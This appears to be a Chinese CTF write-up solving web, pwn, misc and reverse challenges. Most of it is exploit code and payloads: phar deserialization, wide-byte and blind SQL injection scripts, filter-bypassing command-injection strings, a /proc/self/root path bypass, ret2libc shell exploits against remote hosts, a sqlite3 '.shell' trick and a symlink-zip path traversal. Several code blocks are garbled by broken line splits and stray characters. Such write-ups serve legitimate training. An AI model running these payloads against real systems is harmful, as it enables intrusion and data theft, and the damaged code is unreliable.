    }
}

很明显得phar反序列化,上传再phar包含即可,代码也给定了上传目录为upload,文件名未变。

更多有关phar反序列化可参考

php反序列化拓展攻击详解--phar: https://xz.aliyun.com/t/6699

Phar与Stream Wrapper造成PHP RCE的深入挖掘: https://xz.aliyun.com/t/2958

# test.php
<?php
class upload{
    public $filename;
    public function __construct(){
      $this->filename = 'file:///flag';
    }
}

$phar = new Phar('Tao.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = new upload();
$phar -> setMetadata($payload);
$phar -> stopBuffering();
php --define phar.readonly=0 test.php
mv Tao.phar Tao.gif

类里面看到了可以出发phar的函数file_exists。以及可以读flag的函数。那么思路就很清晰了。直接上传一个Tao.gif,内容是upload类,属性filename为/flag。然后传参img_name为phar://upload/Tao.gif,去触发我们的phar包即可

上传Tao.gif,之后?img_name=phar://upload/Tao.gif即可get flag.

ouo@GOTA:~$ curl -vv http://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif | grep "flag"
.........................................
> GET /index.php?img_name=phar://upload/Tao.gif HTTP/1.1
> Host: 39.107.82.169:27417
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 19 Sep 2022 10:42:08 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Vary: Accept-Encoding
< Content-Length: 1925
< Content-Type: text/html; charset=UTF-8
<
.........................................
                    flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg}

2.easylogin

sql注入,burp抓包时发现gbk乱码,意识到是宽字节注入。

username=admin%df'&password=admin

报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin�''' at line 1

测试联合注入发现:

fvhdvtxxzi415419.jpg

总是出现语法错误,排查后发现select和union等会被替换为空,比较简单利用双写绕过即可。

直接联合注入密码无法登陆,联想到常规站点开发密码会被md5,于是用md5去加密,由于无法用引号,选择16进制绕过。

0sfbjq0e2qv15421.jpg

建立虚拟表直接登录。后台逻辑是MD5比较。有类似原题username=admin%df%27ununionion%0aseselectlect%0a66,66,0x3437626365356337346635383966343836376462643537653963613966383038#&password=aaa

3.web_letmeguess_1

题目提示弱口令,爆破得密码admin123

xkqnrsw0mdv15423.png

GET /index.php?ip=127.0.0.1%0Als HTTP/1.1
Host: 39.107.75.148:19304
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.107.75.148:19304/index.php?ip=ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection: close

# 读取源代码
?ip=127.0.0.1%0Apaste%09index.phpArray
(
    [0] => <?php
    [1] => 
    [2] => header('Content-type:text/html; charset=utf-8');
    [3] => 
    [4] => // 开启Session
    [5] => 
    [6] => session_start();
    [7] => 
    [8] => 
    [9] => 
    [10] => // 首先判断Cookie是否有记住了用户信息
    [11] => 
    [12] => if (isset($_COOKIE['username'])) {
    [13] => 
    [14] => # 若记住了用户信息,则直接传给Session
    [15] => 
    [16] => $_SESSION['username'] = $_COOKIE['username'];
    [17] => 
    [18] => $_SESSION['islogin'] = 1;
    [19] => 
    [20] => }
    [21] => 
    [22] => if (isset($_SESSION['islogin'])) {
    [23] => 
    [24] => // 若已经登录
    [25] => 
    [26] => 
    [27] => $res = FALSE;
    [28] => 
    [29] => if (isset($_GET['ip']) && $_GET['ip']) {
    [30] =>     $ip = $_GET['ip'];
    [31] =>     $m = [];
    [32] =>     if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) {
    [33] =>         $cmd = "ping -c 4{$ip}";
    [34] =>         exec($cmd, $res);
    [35] =>     } else {
    [36] =>         $res = 'Hacker,存在非法语句';
    [37] =>     }
    [38] => }
    [39] => 
    [40] => 
    [41] => } else {
    [42] => 
    [43] => // 若没有登录
    [44] => 
    [45] => echo "您还没有登录,请<a href='login.html'>登录</a>";
    [46] => 
    [47] => }
    [48] => 
    [49] => ?>

正则拦截如下:

if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) 

在当前目录中发现kylin,过滤也发现kylin,猜测flag在此目录下,但是由于/给拦截了,尝试进入目录后进行文件读取,但题目过滤了kylin,利用linux系统得特性,正则查看目录文件

# 读取kylin目录
?ip=
127.0.0.1%0Als%09ky???

#输出:
<pre>
Array
(
    [
0] => flag.txt
)
</pre>
#final payload
?ip=127.0.0.1%0Acd%09ky???%0apaste%09fl* 
# %09 => '    '(tab),其实${IFS}也可以
?ip=127.0.0.1%0Acd%09ky???%0apaste
${IFS}fl*
?ip=127.0.0.1%0Aca
""t${IFS}$(fi""nd${IFS}.)
c0vpfbrbftx15434.jpg

4.web_Eeeeasy_SQL

源码:直接利用16进制字符比较,用case when一个个正则出来。利用binary来区分大小写。

lfimhd2rhke15436.png

脚本直接注
import requests
proxy={
"http":"127.0.0.1:8080"}
result=
"0x"
k=
0
for j in range(100):
    
for i in range(33,126):
        k=hex(i)
        k=k[
2:]
        result += k
        password = 
"or(case\x09when\x09(binary\x09username>"+result+")\x09then\x091\x09else\x099223372036854775807+1\x09end)#"
        data = {
"username""aa\\""password": password}
        re = requests.post(data=data, url=url,proxies=proxy, allow_redirects=
False)
        
# sleep(0.1)
        print(re.status_code)
        
if "msg" not in re.text:
            result = result[:
-2]
            l=hex(i
-1)
            l=l[
2:]
            result +=l
            print(result)
            
break
        
else:
            result = result[:
-2]
最后注出来
username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!提交登录进去后,可以看到是一个简单的readfile。过滤/flag而已,不能直接用/flag,简单用/proc/self/root/flag绕过<?php
session_start();

if(isset($_SESSION['name'])){
 if($_SESSION['name'] === 'Flag_Account'){
     $file = urldecode($_GET['file']);
     if(!preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i',$file)){
         readfile($file);
 }else{
     echo 'try again~';
 }
 }
     show_source(__FILE__);
 
}else{
 echo '登陆一下吧~';
}

emmm1gxh0fp15439.jpg

wjwdt3wiet415440.png


二、Pwn

1. H3ll0Rop

基础的ret2libc

from pwn import *

context.log_level=
'debug'
#p = process('./H3ll0Rop')
p = remote(
'47.93.30.67',52705)
elf = ELF(
'./H3ll0Rop')
libc = ELF(
'./libc-2.23.so')
pop_rdi = 
0x0000000000400753
#vuln = 0x400647
vuln = 
0x4006CC

#leak libc
payload = 
b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
p.sendlineafter(
b'me???',payload)
libc_base = u64(p.recvuntil(
b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(
'libc_base',hex(libc_base))
system = libc_base + libc.sym[
'system']
binsh = libc_base + next(libc.search(
b'/bin/sh'))

#getshell
payload = 
b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)
p.sendlineafter(
b'me???',payload)

p.interactive()
p.close()

2.5_1H3ll0Rop

from pwn import*
context(os=
'linux',arch='amd64')
context.log_level=True
elf=ELF(
'H3ll0Rop')
libc=ELF(
'libc-2.23.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./H3ll0Rop',env={'LD_PRELOAD':'./libc-2.23.so'})
#p=process('./H3ll0Rop')
p=remote(
'47.94.151.201',51850)
p.recvuntil(
'game with me???\n\n')



payload=
'a'*0x68+p64(0x0000000000400753)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006CC)

p.sendline(payload)
p.recvuntil(
'an pwn it\n\n')
puts=u64(p.recv(6).ljust(8,
'\x00'))


libcbase=puts-libc.sym[
'puts']
system=libcbase+libc.sym[
'system']

binsh=libcbase+next(libc.search(
'/bin/sh'))
print hex(libcbase)
p.recvuntil(
'game with me???\n\n')



payload=
'a'*0x68+p64(0x0000000000400753)+p64(binsh)+p64(system)


#gdb.attach(p)
raw_input()
p.sendline(payload)

p.interactive()


三、Misc

1.简单的Base

题目给了一串密文666c61677b57656c636f6d655f686572657d, hex解码

>>> print('666c61677b57656c636f6d655f686572657d'.decode('hex'))
flag{Welcome_here}

2.5_Misc_m@sTeR_0f

题目给了源代码,如下:

import random
import string
import subprocess

WELCOME = '''
                     _______   _____     ___   __    _____       _      _ _______   
              ____  |__   __| |  __ \   / _ \ / _|  / ____|     | |    (_)__   __|  
  _ __ ___   / __ \ ___| | ___| |__) | | | | | |_  | (___   __ _| |     _   | | ___ 
 | '_ ` _ \ / / _` / __| |/ _ \  _  /  | | | |  _|  \___ \ / _` | |    | |  | |/ _ \
 | | | | | | | (_| \__ \ |  __/ | \ \  | |_| | |    ____) | (_| | |____| |  | |  __/
 |_| |_| |_|\ \__,_|___/_|\___|_|  \_\  \___/|_|   |_____/ \__, |______|_|  |_|\___|
             \____/                                           | |                   
                                                              |_|                   
'''

print(WELCOME)

def name_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

tmp_dbpath = f'/tmp/{name_generator()}.db'

query_idea = input("Input your Query command --->> ")

black_list = ['.', 'lo', ';']

for y in black_list:
    if y in query_idea:
        print("Hacker! Banned...")
        exit()

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()
#Show your output!
print(output.decode())

审计发现,核心代码如下:

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()

Command Injection,query_idea可控, 但题目过滤了['.', 'lo', ';']

查阅官方文档https://www.sqlite.org/cli.html,发现可命令执行

$sqlite3 Tao
Enter ".help" for usage hints.
sqlite> .shell whoami
root
sqlite> .system id
uid=0(root) gid=0(root) groups=0(root),141(kaboxer)

但是发现题目只可执行一次命令,且过滤了.,但是由于query_idea可控,且通过官方文档,发现交互参数

-interactive         force interactive I/O # sqlite3 --help

至此,我们的思路就是通过交互式,绕过python的过滤,达到命令执行

Input your Query command --->> -interactive # here
.shell ls / 
# here
.system cat /fl* 
# here
.quit
SQLite version 3.37.2 2022-01-06 13:25:41
Enter 
".help" for usage hints.
sqlite> bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
sqlite> flag{SCT7SK7PLPD343ZMXFWS8U7RQCHE2TUQ}sqlite>

3.sakana_reveage

sakana_upload()函数中的文件名 sakana_file_name 完全可控,可以路径穿越在任意位置写文
件,所以可以输入../../../../../tmp/sakanas.zip.zip 写入带有指向/flag 符号链接的压缩包。虽然
限制了文件开头必须是 sakana,但是经过测试 unzip 命令是可以忽略开头的无关数据正常
解压的。wwr3t24kzmr15443.jpgsakana_upload_sakanas()函数如果提前触发 base64 解码处的异常就可以直接到达解压压缩
包的代码。由于这里生成 xx.zip 过程中异常跳出,所以生成的不是合法 zip。这时, unzip 会
自动寻找指定位置的 xx.zip.zip 与 xx.zip.ZIP 并解压,于是上面目录穿越传入的压缩包就会被
解压并链接到 flag,接着选择下载获得 flag

fgwksuwucmj15444.png

还有就是base64解码后要有sakana字段

z53pxhbwlah15449.png

nc连接

4vaxpquuv1o15452.png

# payload = base64 flag.zip
ln -s /flag soft_flag
zip --symlink flag.zip soft_flag
base64 flag.zip

payload加入sakana字段后base64编码

vaezm2i0ado15454.jpg

输入1上传

nr4ce4z53lw15457.jpg

然后选择4,然后随便输入一个字符串,需要触发sakana_upload函数的binascii.Error

wezijx2qhuy15459.png

最后输入2下载得到flag的base64加密字符串

y5n0xa3uihb15461.png

base64解密得到flag

zwua5fau5i115464.jpg


四、Reverse

1.5_re2

feedof02hrd15466.png

mips 64位 想qemu 模拟跑 ,发现没有so ,跑不起来。IDA 没法直接反编译。hdyrfzuh0dq15469.jpg
Ghidra查看:
5kbhickumli15472.jpg

定义了 level。

核心是下面的 move 函数。

undefined8 move(void)

{
char cVar1;
int local_230;
int local_22c;
char local_228 [528];
undefined *local_18;

local_18 = &_mips_gp0_value;
local_22c = 0;
local_228[0] = 
'\0';
local_228[1] = 0;
memset(local_228 + 2,0,0x1fe);
printf("input: ");
__isoc99_scanf(&DAT_120001878,local_228);
whiletrue ) {
 
do {
   local_230 = 0;
   find();
   cVar1 = local_228[local_22c];
   
if (cVar1 == 'w') {
     local_230 = Up();
   }
   
else if (cVar1 < 'x') {
     
if (cVar1 == 's') {
       local_230 = Down();
     }
     
else if (cVar1 < 't') {
       
if (cVar1 == 'd') {
         local_230 = Right();
       }
       
else if (cVar1 < 'e') {
         
if (cVar1 == '\x1b') {
           
return 0xffffffffffffffff;
         }
         
if (cVar1 == 'a') {
           local_230 = Left();
         }
       }
     }
   }
   local_22c = local_22c + 1;
 } 
while (local_230 != 1);
 
if (level == 2) break;
 level = level + 1;
}
puts(
"flag is ctf{md5(your input)}");
return 1;
}

wasd 上下左右 , flag格式定义。

find 函数中的定义 ,决定了 迷宫 一行多少值

1aldhqze3dw15473.jpg

跟随 去找map map的定义。

zvcnwkalyt515475.jpg

处理下,得到各个level的 map表。

其中第一level的 整理后的迷宫表:

1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 3, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 
1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 
1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
根据find中的 if判断 因此走的路径为
dddddssdsdddsssaassssddds以此类推整理后面两个level的 迷宫表
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 3, 1, 1, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 

0, 3, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
走的路径分别为dddsssdddsssdssddssddwddssssssdddssssdddss合并起来 走的路径为 dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss因此

535dnyfkria15476.jpg

得到 flag f77feb47f7ff4f9e6e94f297b18652e0

2.5_crackme

初步分析
binwalk -Me rootfs.img
有用的文件:
/bin/crackme
/etc/config
config


1E 00 00 00 02 00 00 00 09 00 00 00 40 E3 FF FF
D0 E4 FF FF C4 E6 FF FF 78 E2 FF FF 74 EB FF FF
1C E9 FF FF 08 E4 FF FF 48 EA FF FF 68 ED FF FF

int __fastcall chal_main(int argc, const char **argv)
{
const char *v3; // r0
int v4; // r0
int v5; // r5
int v6; // r0
int v7; // r9
int v8; // r10
int *v9; // r1
int v10; // r7
int v11; // r5
int v12; // r0
int *v13; // r1
int v14; // r0
int v15; // r0
bool v16; // zf
int v18[16]; // [sp+4h] [bp-74h] BYREF
v3 = (const char *)v18;
if ( argc >= 2 )
v3 = argv[1];
if ( argc < 2 )
v3 = "/etc/config";
v4 = open(v3, 0, 0);
if ( v4 >= 1 )
{
v5 = v4;
read(v4, config, 256);
close(v5);
}
v6 = dword_712C[0]++;
v7 = v18[config[v6]]; // 应该是取出 return_address

sub_3154(1, (int)"2", 0, (int)"a", 0);
sub_3154(2, (int)"3", 0, (int)"a", 0);
sub_33F8(1);
sub_33F8(2);
sub_3154(0, (int)"0", 28, (int)"a", 0);
sub_3154(6, (int)">> ", 64, (int)asc_659, 0);
sub_3154(7, (int)"<< ", 64, (int)"[!!]\n", 1);
sub_3154(8, (int)"<< ", 64, (int)"[ok]\n", 1);
sub_336C(6);
v8 = -1;
v9 = &config[dword_712C[0]];
v10 = *v9;
dword_712C[0] += 2;
v11 = v9[1];
while ( ++v8 < v11 )
{
v12 = dword_712C[0]++;
strcpy((char *)v18, "bbbbbbbbbbbbbbbb");
v13 = &v18[6];
v18[6] = config[v12] + v7;
BYTE1(v18[4]) = 0;
HIWORD(v18[4]) = 0;
v18[5] = 16;
if ( unk_7130 )
{
strcpy(unk_7130, "0");
v14 = *(_DWORD *)(unk_7130 + 16);
if ( *(int *)(unk_7130 + 20) > 27
|| (free(v14), v14 = malloc(28), v13 = (int *)unk_7130, (*(_DWORD *)(unk_7130 +
16) = v14) != 0) )
{
memcpy(v14, v18, 28);
}
}
v15 = dword_712C[v10 + 1];
v16 = v15 == 0;
if ( v15 )
{
v13 = (int *)unk_7148;
v16 = unk_7148 == 0;
}
if ( !v16 )
{
*(_DWORD *)(v15 + 16) = v13[4];

*(_DWORD *)(v15 + 20) = v13[5];
}
if ( !sub_32E8(v10) )
return sub_336C(7);
}
return sub_336C(8);
}
修正 config 里的偏移 转换成对应的函数地址
off = 0xFFFFED68-0x4644
for i in range(9):
x = ida_bytes.get_dword(0x0c+i*4)
ida_bytes.patch_dword(0x0c+i*4, x-off)
seg000:00000000 dd 30
seg000:00000004 dd 2
seg000:00000008 dd 9
seg000:0000000C ; int[9]
seg000:0000000C dd 3C1Ch
seg000:00000010 dd 3DACh
seg000:00000014 dd 3FA0h
seg000:00000018 dd 3B54h
seg000:0000001C dd 4450h
seg000:00000020 dd 41F8h
seg000:00000024 dd 3CE4h
seg000:00000028 dd 4324h
seg000:0000002C dd 4644h
int __fastcall sub_3C1C(char *a1, int a2)
{
int i; // r3
for ( i = 0; i < a2; ++i )
a1[i] = sbox_list[25][(unsigned __int8)a1[i]];
return 1;
}
int __cdecl sub_4644(unsigned __int8 *flag)
{
int v2; // r6
int v3; // r9
int v4; // r10
int v5; // r0
int v7; // [sp+4h] [bp-6Ch]
int v8; // [sp+8h] [bp-68h]

int v9; // [sp+Ch] [bp-64h]
int v10; // [sp+10h] [bp-60h]
int v11; // [sp+14h] [bp-5Ch]
int v12; // [sp+18h] [bp-58h]
int v13; // [sp+1Ch] [bp-54h]
int v14; // [sp+20h] [bp-50h]
int v15; // [sp+24h] [bp-4Ch]
int v16; // [sp+28h] [bp-48h]
int v17; // [sp+2Ch] [bp-44h]
int v18; // [sp+30h] [bp-40h]
int v19; // [sp+34h] [bp-3Ch]
int v20; // [sp+38h] [bp-38h]
int v21; // [sp+3Ch] [bp-34h]
int v22; // [sp+40h] [bp-30h]
int v23; // [sp+44h] [bp-2Ch]
int v24; // [sp+48h] [bp-28h]
int v25; // [sp+4Ch] [bp-24h]
v25 = abs(159947 * *flag - 17274276);
v24 = abs(4294891102 * flag[1] - 288728 * *flag + 36973368);
v23 = abs(-247146 * flag[1] - 291401 * *flag - 166371 * flag[2] + 75709167);
v22 = abs(-1741 * flag[1] + 218084 * flag[3] + 280814 * *flag - 149372 * flag[2] -
33947928);
v21 = abs(174323 * flag[3] + 136024 * flag[2] - 141923 * flag[1] - 301049 * flag[4] +
323059 * *flag - 53238195);
v20 = abs(
-12269 * flag[3]
+ 286713 * flag[1]
- 78320 * *flag
+ 301362 * flag[2]
+ 269836 * flag[5]
- 255324 * flag[4]
- 99312448);
v19 = abs(
-103798 * flag[2]
+ 201146 * flag[5]
- 285406 * flag[3]
- 188094 * flag[4]
- 104025 * *flag
- 50098 * flag[1]
- 109789 * flag[6]
+ 50727897);
v18 = abs(
117443 * flag[7]
+ 275692 * flag[3]
+ 349275 * flag[1]
- 381943 * flag[2]
+ 332376 * flag[4]
- 269146 * flag[5]
+ 222994 * flag[6]
- 267344 * *flag
+ 9817748);
v17 = abs(
19156 * flag[6]
+ -281586 * flag[7]
- 168850 * *flag
+ 363716 * flag[3]
- 32886 * flag[1]
+ 44299 * flag[4]
+ 170590 * flag[8]
+ 81061 * flag[5]
+ 201865 * flag[2]
- 32987442);
v16 = abs(
22459 * flag[6]
+ -80349 * flag[1]
+ 239015 * flag[5]
- 42367 * flag[9]
- 113712 * flag[7]
- 146568 * flag[2]
+ 241696 * flag[3]
+ 232212 * *flag
- 162511 * flag[8]
+ 61621 * flag[4]
- 41031017);
v15 = abs(
-1754 * *flag
+ 128062 * flag[7]
- 329492 * flag[3]
- 167316 * flag[2]
- 178991 * flag[4]
+ 186377 * flag[10]
+ 307270 * flag[6]
- 328477 * flag[8]
+ 248665 * flag[1]
+ 374863 * flag[9]
+ 373711 * flag[5]
- 86829517);
v14 = abs(
11843 * flag[5]
+ 17087 * flag[3]
- 35818 * *flag
- 182330 * flag[7]
- 354816 * flag[4]
- 126036 * flag[2]
+ 114656 * flag[8]
- 90442 * flag[9]
+ 330888 * flag[11]
+ 78226 * flag[10]
- 260641 * flag[1]
+ 105414 * flag[6]
+ 63250156);
v13 = abs(
7469 * flag[9]
+ 6283 * flag[11]
+ -87345 * flag[2]
+ 248111 * flag[5]
+ 213581 * flag[4]
+ 89194 * flag[8]
+ 36305 * flag[6]
+ 98667 * flag[1]
+ 300755 * flag[12]
+ 191415 * flag[7]
+ 350540 * *flag
+ 359565 * flag[10]
- 185365 * flag[3]
- 165783260);
v12 = abs(
8209 * flag[8]
+ 131781 * flag[1]
+ 152898 * *flag
+ 40158 * flag[11]
- 86271 * flag[12]
- 105755 * flag[6]
+ 264037 * flag[3]
- 130948 * flag[10]
- 243572 * flag[7]
- 48159 * flag[2]
- 269443 * flag[9]
- 376534 * flag[5]
- 67954 * flag[4]
- 119669 * flag[13]
+ 117580744);
v11 = abs(
-3429 * flag[6]
+ 102230 * flag[5]
+ 126967 * flag[10]
- 344174 * flag[8]
- 225911 * flag[11]
+ 118364 * flag[14]
- 72044 * flag[1]
+ 280519 * *flag
- 241789 * flag[2]
- 274918 * flag[9]
- 91055 * flag[12]
- 122403 * flag[3]
+ 118907 * flag[7]
- 34240 * flag[13]
+ 240524 * flag[4]
+ 35507568);
v10 = abs(
-24137 * flag[9]
+ 28203 * flag[13]
+ 150213 * flag[1]
+ 311204 * *flag
- 94750 * flag[7]
+ 130029 * flag[2]
- 305057 * flag[14]
+ 176246 * flag[5]
- 256662 * flag[8]
- 331010 * flag[12]
- 301118 * flag[4]
- 309379 * flag[10]
+ 187867 * flag[3]
- 102250 * flag[11]
- 340412 * flag[15]
+ 144084 * flag[6]
+ 39635710);
v9 = abs(
-27445 * flag[12]
+ -289483 * flag[10]
- 164045 * flag[16]
- 218276 * flag[1]
+ 183266 * flag[3]
- 311967 * flag[8]
- 55127 * flag[14]
- 211824 * flag[13]
- 375628 * flag[9]
- 201931 * *flag
- 324618 * flag[4]
+ 52026 * flag[6]
+ 93926 * flag[5]
- 105199 * flag[7]
- 254102 * flag[15]
- 159881 * flag[11]
+ 378091 * flag[2]
+ 106013500);
v2 = flag[3];
v8 = abs(
27619 * flag[4]
+ 9873 * flag[1]
+ -23276 * flag[8]
+ -196254 * flag[9]
+ 181235 * *flag
+ 150865 * flag[16]
- 148807 * flag[14]
- 272020 * flag[17]
- 346803 * flag[2]
- (v2 | (v2 << 16))
+ 132879 * flag[10]
+ 239833 * flag[6]
- 151023 * flag[11]
+ 224631 * flag[12]
+ 294607 * flag[5]
- 362447 * flag[7]
- 110250 * flag[15]
+ 153229 * flag[13]
+ 56953741);
v7 = abs(
-1159 * flag[1]
+ 6659 * flag[6]
+ -25875 * flag[7]
+ 80743 * flag[10]
+ 38124 * flag[9]
+ 40844 * flag[13]
- 259165 * flag[12]
+ 340584 * flag[16]
+ 107346 * flag[2]
- 124400 * flag[8]
- 34846 * flag[11]a
- 338119 * flag[17]
- 220860 * flag[5]
+ 167374 * flag[3]
+ 71134 * flag[15]
- 143594 * flag[14]
- 115172 * flag[4]
- 104789 * *flag
+ 108066 * flag[18]
+ 50659353);
v3 = abs(
-26438 * flag[19]
+ 14055 * flag[10]
+ 31477 * flag[12]
+ -179950 * flag[4]
+ 79775 * flag[17]
+ 70516 * flag[5]
+ 330549 * flag[2]
+ 169852 * flag[11]
+ 51486 * flag[7]
+ 123944 * flag[13]
- 370154 * flag[14]
- 132851 * flag[18]
+ 237187 * flag[3]
- 89341 * flag[9]
- 256083 * flag[1]
+ 317327 * *flag
+ 42009 * flag[15]
+ 336122 * flag[6]
+ 128554 * flag[8]
- 205903 * flag[16]
- 112255597);
v4 = abs(
30250 * flag[5]
+ 127076 * flag[16]
- 218938 * *flag
+ 162996 * flag[14]
+ 141792 * flag[12]
- 197967 * flag[9]
- 247332 * flag[4]
- 286218 * flag[7]
- 168508 * flag[18]
+ 300020 * flag[2]
- 46255 * flag[10]
- 78960 * flag[19]
+ 213181 * flag[6]
- 329333 * flag[13]
+ 126938 * flag[8]
- 266759 * flag[11]
+ 182266 * flag[17]
- 41677 * flag[1]
+ 158645 * flag[15]
- 61925 * flag[3]
+ 67755 * flag[20]
- 52014431);
v5 = abs(
-281 * *flag
+ 10712 * flag[19]
+ 14584 * flag[4]
+ -167168 * flag[13]
+ 308120 * flag[7]
- 233003 * flag[8]
+ 114047 * flag[14]
+ 330767 * flag[10]
- 71246 * flag[6]
- 259485 * flag[2]
+ 374645 * flag[21]
- 116397 * flag[3]
+ 64115 * flag[20]
+ 281339 * flag[9]
+ 321916 * flag[15]
- 272240 * flag[12]
- 135149 * flag[16]
- 288340 * flag[18]
+ 71833 * flag[11]
- 233821 * flag[1]
- 223297 * flag[17]
+ 141256 * flag[5]
+ 17267952);
return v24
+ v25
+ v23
+ v22
+ v21
+ v20
+ v19
+ v18
+ v17
+ v16
+ v15
+ v14
+ v13
+ v12
+ v11
+ v10
+ v9
+ v8
+ v7
+ v3
+ v4
+ v5 == 0;
}
大概逻辑其实就是根据 config 里的数据去调用对应的函数。
最终调用验证方程。
用 claripy 解出方程后,再逆置换就能得到 flag 了
import claripy
sbox = [0xA8, 0xC4, 0x13, 0xDF, 0x63, 0x5F, 0x4E, 0x6B, 0x12, 0xD6, 0x28, 0xBF, 0x40, 0x11,
0x64, 0x5A, 0x71, 0xDD, 0xD4, 0x35, 0xD5, 0x0F, 0x50, 0x9D, 0xCF, 0x7B, 0xEB, 0x0C, 0x3B,
